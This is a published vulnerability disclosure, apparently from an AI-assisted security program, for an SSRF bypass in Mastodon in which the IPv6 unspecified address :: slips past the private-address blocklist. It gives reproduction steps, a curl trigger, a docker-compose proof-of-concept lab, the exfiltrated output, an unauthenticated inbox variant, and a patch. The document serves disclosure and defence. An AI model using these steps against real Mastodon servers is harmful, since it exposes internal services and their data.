ANT-2026-6DSMTXZ8 · mastodon

ssrf high

GHSA-crr4-7rm4-8gpw

Severity Claude high · Security research firm high · Maintainer unknown

Discovered by Claude Mythos Preview

REPORT

Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Doyensec.

ANT-2026-6DSMTXZ8: SSRF Bypass via IPv6 Unspecified Address (::) in Mastodon

Mastodon routes all outbound HTTP through Request::Socket, which validates resolved IPs with PrivateAddressCheck.private_address?. That check blocks 0.0.0.0/8 and ::1 but omits ::/128, so an attacker-controlled hostname with an AAAA record of :: passes the filter. On Linux, connect() to :: is routed to the loopback interface, so the server issues the request to [::1]:PORT. Any registered user (via link preview, profile link verification, or search) — or an unauthenticated remote actor via ActivityPub federation — can trigger this to read internal HTTP services, with responses partially exfiltrated through PreviewCard OpenGraph fields rendered in the timeline.

Target

Project: mastodon
Commit: c832fb3291f25d8b
Location: app/lib/private_address_check.rb:33
Discovery: static analysis — not yet dynamically reproduced

Technical Details

For IPAddr.new("::"), all four predicates in private_address? return false: it is not private?, not loopback?, not link_local?, and ::/128 is absent from CIDR_LIST (the IPv4-mapped entry ::ffff:0.0.0.0/104 does not cover ::). The DNS resolution branch in Request::Socket.open returns a Resolv::IPv6 object, so an AF_INET6 socket is correctly created and connect_nonblock(::) succeeds, reaching ::1. The literal-URL path http://[::]/ is only accidentally blocked by an unrelated is_a?(Resolv::IPv6) type bug, which is not a security control.

Reproduction

  1. Register evil.example and publish AAAA evil.example -> ::
  2. POST /api/v1/statuses with body containing http://evil.example:PORT/path (or set it as a profile link, search @user@evil.example, or deliver an ActivityPub object referencing the URL)
  3. LinkCrawlWorker / FetchLinkCardService calls Request.new(:get, url).perform
  4. Request::Socket.open resolves evil.example via Resolv::DNS -> [Resolv::IPv6 ::]
  5. check_private_address(::) returns false — filter bypassed
  6. AF_INET6 socket connects to ::, kernel routes to ::1; GET /path is sent to the internal service
  7. Response is parsed for og:title/og:description/og:image, stored in preview_cards, and rendered in the attacker's timeline

[No reproducer or sanitizer output attached — request from cvd@anthropic.com if needed.]

Acknowledgement

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-6DSMTXZ8.


Reference: ANT-2026-6DSMTXZ8
Anthropic CVD Policy: https://anthropic.com/security/cvd-policy

SECURITY RESEARCH FIRM ANALYSIS

Triage and disclosure were performed by Doyensec. The writeup below is the document the firm sent to the maintainer.

Verdict
true positive
Severity
high

Vulnerability Report

Vulnerability Header

Field Value
Vulnerability Title SSRF Bypass via IPv6 Unspecified Address (::) in PrivateAddressCheck
Severity Rating High
Bug Category Server-Side Request Forgery (SSRF) — Incomplete Blocklist
Location app/lib/private_address_check.rb:19, app/lib/request.rb:332–338
Affected Versions All current versions (confirmed on v4.5.9)

Executive Summary

Mastodon's SSRF protection (PrivateAddressCheck) blocks the IPv4 unspecified address (0.0.0.0/8) but omits its IPv6 equivalent (::/128). On Linux, a TCP connect() to :: is routed by the kernel to ::1, reaching any service bound to localhost. An attacker registers a domain with an AAAA record of :: and posts a link to it; Mastodon's Sidekiq worker resolves the hostname via DNS, receives the :: address, passes it through the SSRF guard (which returns false for ::), and connects to [::1] — reaching internal services on the Mastodon server. The HTTP response is parsed for OpenGraph tags and stored in the preview_cards database table, giving the attacker a direct read channel for internal service content. The only server-side precondition is that the host has a non-loopback IPv6 address, which is the default on all major cloud providers (AWS, GCP, Azure, Hetzner, DigitalOcean, and others).

Root Cause Analysis

Technical Description

PrivateAddressCheck is Mastodon's SSRF blocklist, invoked for every outbound HTTP request. The private_address? method at app/lib/private_address_check.rb:33 applies four checks to the resolved IP address:

# app/lib/private_address_check.rb:33
def private_address?(address)
  address.private? || address.loopback? || address.link_local? || CIDR_LIST.any? { |cidr| cidr.include?(address) }
end

CIDR_LIST is built at line 19 and explicitly includes 0.0.0.0/8 (and its IPv4-mapped form ::ffff:0.0.0.0/104) to block the IPv4 unspecified address. The IPv6 equivalent, ::/128, is not present. All four sub-checks return false for IPAddr.new("::"):

Check Result Reason
address.private? false :: is not in fc00::/7
address.loopback? false ::::1
address.link_local? false :: is not in fe80::/10
CIDR_LIST.any? false ::/128 is absent; ::ffff:0.0.0.0/104 does not cover ::

Note that ::ffff:0.0.0.0 is 0000:0000:0000:0000:0000:ffff:0000:0000, a completely different bit pattern from :: (0000:0000:0000:0000:0000:0000:0000:0000). The mapping covers IPv4-mapped addresses, not the unspecified address.

When an attacker-controlled hostname resolves via DNS to Resolv::IPv6(::), check_private_address at request.rb:332 converts it to IPAddr.new("::"), calls private_address? (which returns false), and allows the connection to proceed. Linux then routes connect(AF_INET6, ::, port) to ::1, reaching any HTTP service bound to localhost on the Mastodon host.

Trace Analysis

Key code locations for the primary (link preview) attack path:

app/services/post_status_service.rb:155         ← LinkCrawlWorker.perform_async — link fetch queued after status creation
app/services/fetch_link_card_service.rb:54      ← Request.new(:get, @url).perform — outbound HTTP initiated
app/lib/request.rb:268                          ← Resolv::DNS.getaddresses(host) — DNS returns [Resolv::IPv6(::)]
app/lib/request.rb:277                          ← check_private_address(Resolv::IPv6(::), host) — SSRF guard invoked
app/lib/request.rb:337                          ← PrivateAddressCheck.private_address?(IPAddr("::")) → false — BYPASS
app/lib/request.rb:284                          ← sock.connect_nonblock(..., "::") — kernel routes to ::1

Exploitability Assessment

Attack Vector & Reachability

Attack vector Network
Authentication required Low — a registered user account, trivially obtained on any open-registration instance
User interaction required None — Sidekiq fetches the link automatically upon status creation
Reachable in default config Yes — requires a non-loopback IPv6 address on the server, which is the default on all major cloud providers
Entry point(s) Status post containing a link to an attacker-controlled domain with AAAA record ::. Additional vectors: remote account resolution (/api/v2/search?resolve=true), profile link verification, inbound ActivityPub federation (unauthenticated — see below)

Sinks

The attacker achieves a GET-only read SSRF against any HTTP service bound to [::1] or :: on the Mastodon server. There is no request body control, no HTTP method control, and header injection is limited to Host (indirectly, via hostname choice). For services serving HTML responses, the exfiltration channel is the link preview card: OpenGraph meta tags (og:title, og:description, og:author, og:site_name) and JSON-LD <script> blocks are parsed from the response and stored in the preview_cards table with no application-level size limits on most string fields. The attacker reads the exfiltrated data from GET /api/v1/statuses/{id}.

A secondary exfiltration path exists via oEmbed: if the fetched page contains a <link rel="alternate" type="application/json+oembed"> tag, FetchOEmbedService issues a second GET request to that URL — which can also point to a [::1]-bound service — enabling two-hop SSRF with additional fields extracted from the JSON body.

Additionally, an unauthenticated blind SSRF variant exists via POST /inbox: the Signature header's keyId field is attacker-controlled and is used to make an outbound key-fetch request via ActivityPub::FetchRemoteKeyServiceRequest.new, which passes through the same vulnerable PrivateAddressCheck. This vector requires no Mastodon account; it enables port scanning and GET-triggered side effects on [::1] but does not support data exfiltration (the response must be valid ActivityPub JSON to propagate further).

Reproduction Steps

Environment

OS / version Linux with a non-loopback IPv6 address configured
Target version Mastodon v4.5.9
DNS prerequisite local.doyentesting.com AAAA record resolves to :: (configured by the reporter)

Setup

The poc/ directory contains a docker-compose.yml based on the official Mastodon v4.5.9 compose file with three modifications:

  1. IPv6 enabled on both Docker networks (enable_ipv6: true).
  2. poc/page.html — a sample HTML page with OpenGraph tags, representing a localhost-only internal resource — is mounted read-only into the Sidekiq container at /tmp/srv/page.html.
  3. The Sidekiq container's startup command launches a WEBrick HTTP server (ruby -run -e httpd /tmp/srv/ -p 8000) in the background before starting Sidekiq. This simulates an internal service accessible on port 8000 within the container.

Set up the instance on an IPv6-connected machine as you would a standard Mastodon deployment:

cd poc/
touch .env.production

docker compose up -d db redis
# Complete the setup wizard
docker compose run --rm web bundle exec rake db:setup
docker compose up -d

Trigger

Once the instance is running, post a status containing the target URL. This can be done via the Mastodon web UI or the API:

# Post a status linking to local.doyentesting.com (AAAA → ::)
curl -s -X POST https://YOUR_MASTODON_HOST/api/v1/statuses \
  -H "Authorization: Bearer $USER_TOKEN" \
  -F "status=http://local.doyentesting.com:8000/page.html"

Wait a few seconds for Sidekiq to process the link preview, then retrieve the status:

curl -s "https://YOUR_MASTODON_HOST/api/v1/statuses/$STATUS_ID" | jq '.card'

Expected output

The card field of the status will contain data fetched from the Sidekiq container's internal HTTP server — content that is not accessible from outside the container:

{
  "url": "http://local.doyentesting.com:8000/page.html",
  "title": "Secret Page",
  "description": "This is a super secret page exposed only on localhost."
}

The values "Secret Page" and "This is a super secret page exposed only on localhost." originate from og:title and og:description in poc/page.html — a file mounted inside the Sidekiq container that is not reachable by any direct external request.

PoC files

Recommended Fix

Option 1 (preferred): Add ::/128 to CIDR_LIST

Add the IPv6 unspecified address to the hard-coded blocklist in app/lib/private_address_check.rb:19, mirroring the existing 0.0.0.0/8 entry for IPv4:

CIDR_LIST = (IP4_CIDR_LIST + IP4_CIDR_LIST.map(&:ipv4_mapped) + [
  IPAddr.new('::/128'),          # IPv6 unspecified — routes to ::1 on Linux
  IPAddr.new('64:ff9b::/96'),
  IPAddr.new('100::/64'),
  # ... rest unchanged
]).freeze

A regression test to prevent this gap from re-opening:

# spec/lib/private_address_check_spec.rb
describe PrivateAddressCheck do
  describe '.private_address?' do
    it 'blocks the IPv6 unspecified address' do
      expect(described_class.private_address?(IPAddr.new('::'))).to be true
    end
  end
end

Option 2 (defense in depth): Fix the type-confusion bug at app/lib/request.rb:279 where address.is_a?(Resolv::IPv6) is always false for literal-IP URLs (which return an IPAddr, not a Resolv::IPv6). This bug currently happens to block literal http://[::]:PORT/ URLs as an unintended side effect, but it is not a security control and should be fixed alongside Option 1:

# BEFORE (request.rb:279)
sock = ::Socket.new(address.is_a?(Resolv::IPv6) ? ::Socket::AF_INET6 : ::Socket::AF_INET, ...)

# AFTER
af = case address
     when Resolv::IPv6 then ::Socket::AF_INET6
     when Resolv::IPv4 then ::Socket::AF_INET
     when IPAddr       then address.ipv6? ? ::Socket::AF_INET6 : ::Socket::AF_INET
     end
sock = ::Socket.new(af, ::Socket::SOCK_STREAM, 0)

We also recommend auditing PrivateAddressCheck::CIDR_LIST against the full IANA IPv6 Special-Purpose Address Registry for any other gaps (e.g., 64:ff9b:1::/48, RFC 8215 local-use IPv4/IPv6 translation).

Patch provenance: AI-generated + Human-reviewed

References

Attribution

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Savio at Doyensec in collaboration with Anthropic Research.

For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research

Attachment: poc/.env.production


Attachment: poc/docker-compose.yml

name: mastodon-ssrf-poc
services:
  db:
    restart: always
    image: postgres:14-alpine
    shm_size: 256mb
    env_file: .env.production
    networks:
      - internal_network
    healthcheck:
      test: ['CMD', 'pg_isready', '-U', 'postgres']
    volumes:
      - postgres14:/var/lib/postgresql/data
    environment:
      - 'POSTGRES_HOST_AUTH_METHOD=trust'
  redis:
    restart: always
    image: redis:7-alpine
    networks:
      - internal_network
    healthcheck:
      test: ['CMD', 'redis-cli', 'ping']
    volumes:
      - redis:/data
  web:
    image: ghcr.io/mastodon/mastodon:v4.5.9
    restart: always
    env_file: .env.production
    command: bundle exec puma -C config/puma.rb
    networks:
      - external_network
      - internal_network
    healthcheck:
      # prettier-ignore
      test: ['CMD-SHELL',"curl -s --noproxy localhost localhost:3000/health | grep -q 'OK' || exit 1"]
    ports:
      - '127.0.0.1:3000:3000'
    depends_on:
      - db
      - redis
    volumes:
      - public:/mastodon/public/system
  streaming:
    image: ghcr.io/mastodon/mastodon-streaming:v4.5.9
    restart: always
    env_file: .env.production
    command: node ./streaming/index.js
    networks:
      - external_network
      - internal_network
    healthcheck:
      # prettier-ignore
      test: ['CMD-SHELL', "curl -s --noproxy localhost localhost:4000/api/v1/streaming/health | grep -q 'OK' || exit 1"]
    ports:
      - '127.0.0.1:4000:4000'
    depends_on:
      - db
      - redis
  sidekiq:
    image: ghcr.io/mastodon/mastodon:v4.5.9
    restart: always
    env_file: .env.production
    command: bash -c 'nohup ruby -run -e httpd /tmp/srv/ -p 8000 & bundle exec sidekiq'
    depends_on:
      - db
      - redis
    networks:
      - external_network
      - internal_network
    volumes:
      - public:/mastodon/public/system
      - ./page.html:/tmp/srv/page.html:ro
    healthcheck:
      test: ['CMD-SHELL', "ps aux | grep '[s]idekiq\ 8' || false"]
networks:
  external_network:
    driver: bridge
    enable_ipv6: true
  internal_network:
    internal: true
    enable_ipv6: true
volumes:
  postgres14:
  redis:
  public:

Attachment: poc/page.html

<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">

  <title>My Simple Page</title>
  <meta name="description" content="This is a super secret page exposed only on localhost.">

  <meta property="og:title" content="Secret Page">
  <meta property="og:description" content="This is a super secret page exposed only on localhost..">
  <meta property="og:type" content="website">

  <style>
    body {
      font-family: Arial, sans-serif;
      max-width: 720px;
      margin: 60px auto;
      padding: 0 20px;
      line-height: 1.5;
    }
  </style>
</head>
<body>
  <h1>Hello</h1>
  <p>This is a secret HTML page exposed on localhost.</p>
</body>
</html>
TIMELINE

Dates from discovery through public reveal.

  1. 2026-03-30 Reported to tracker
  2. 2026-04-23 Sent to maintainer
  3. 2026-05-07 Maintainer acknowledged
  4. 2026-05-15 Patch released
  5. 2026-05-20 Publicly revealed
PROVENANCE

SHA-3-512 hash:

868595c9247644d3902e1edcb8d502294a9a9cdfa37d38bc25ed6063dc37fcdc447494225eccdff02df7e7abd198eeb8cdad62dd274b7141939bcf342ce1f594

Committed 2026-04-23 00:04 PT

Revealed 2026-05-20 11:00 PT

Verify (download preimage.json)

Show preimage JSON
{
  "ant_id": "ANT-2026-6DSMTXZ8",
  "bug_class": "SSRF",
  "claude_severity": "high",
  "commit_sha": "c832fb3291f25d8b",
  "created_at": "2026-03-30T23:19:45+00:00",
  "description": "Mastodon routes all outbound HTTP through Request::Socket, which validates resolved IPs with PrivateAddressCheck.private_address?. That check blocks 0.0.0.0/8 and ::1 but omits ::/128, so an attacker-controlled hostname with an AAAA record of `::` passes the filter. On Linux, connect() to `::` is routed to the loopback interface, so the server issues the request to [::1]:PORT. Any registered user (via link preview, profile link verification, or search) — or an unauthenticated remote actor via ActivityPub federation — can trigger this to read internal HTTP services, with responses partially exfiltrated through PreviewCard OpenGraph fields rendered in the timeline.",
  "discovered_at": null,
  "location": "app/lib/private_address_check.rb:33",
  "poc_sha256": "eb600e7800bc9aa3dc23a5a346ac7a315ab684d25c8cd4a0c9bfd2293308630b",
  "preimage_version": 1,
  "project": "mastodon",
  "reproduction": [
    "1. Register evil.example and publish AAAA evil.example -> ::",
    "2. POST /api/v1/statuses with body containing http://evil.example:PORT/path (or set it as a profile link, search @user@evil.example, or deliver an ActivityPub object referencing the URL)",
    "3. LinkCrawlWorker / FetchLinkCardService calls Request.new(:get, url).perform",
    "4. Request::Socket.open resolves evil.example via Resolv::DNS -> [Resolv::IPv6 ::]",
    "5. check_private_address(::) returns false — filter bypassed",
    "6. AF_INET6 socket connects to ::, kernel routes to ::1; GET /path is sent to the internal service",
    "7. Response is parsed for og:title/og:description/og:image, stored in preview_cards, and rendered in the attacker's timeline"
  ],
  "technical_details": "For IPAddr.new(\"::\"), all four predicates in private_address? return false: it is not private?, not loopback?, not link_local?, and ::/128 is absent from CIDR_LIST (the IPv4-mapped entry ::ffff:0.0.0.0/104 does not cover ::). The DNS resolution branch in Request::Socket.open returns a Resolv::IPv6 object, so an AF_INET6 socket is correctly created and connect_nonblock(::) succeeds, reaching ::1. The literal-URL path http://[::]/ is only accidentally blocked by an unrelated is_a?(Resolv::IPv6) type bug, which is not a security control.",
  "title": "SSRF Bypass via IPv6 Unspecified Address (`::`) in Mastodon",
  "vendor_severity": "high"
}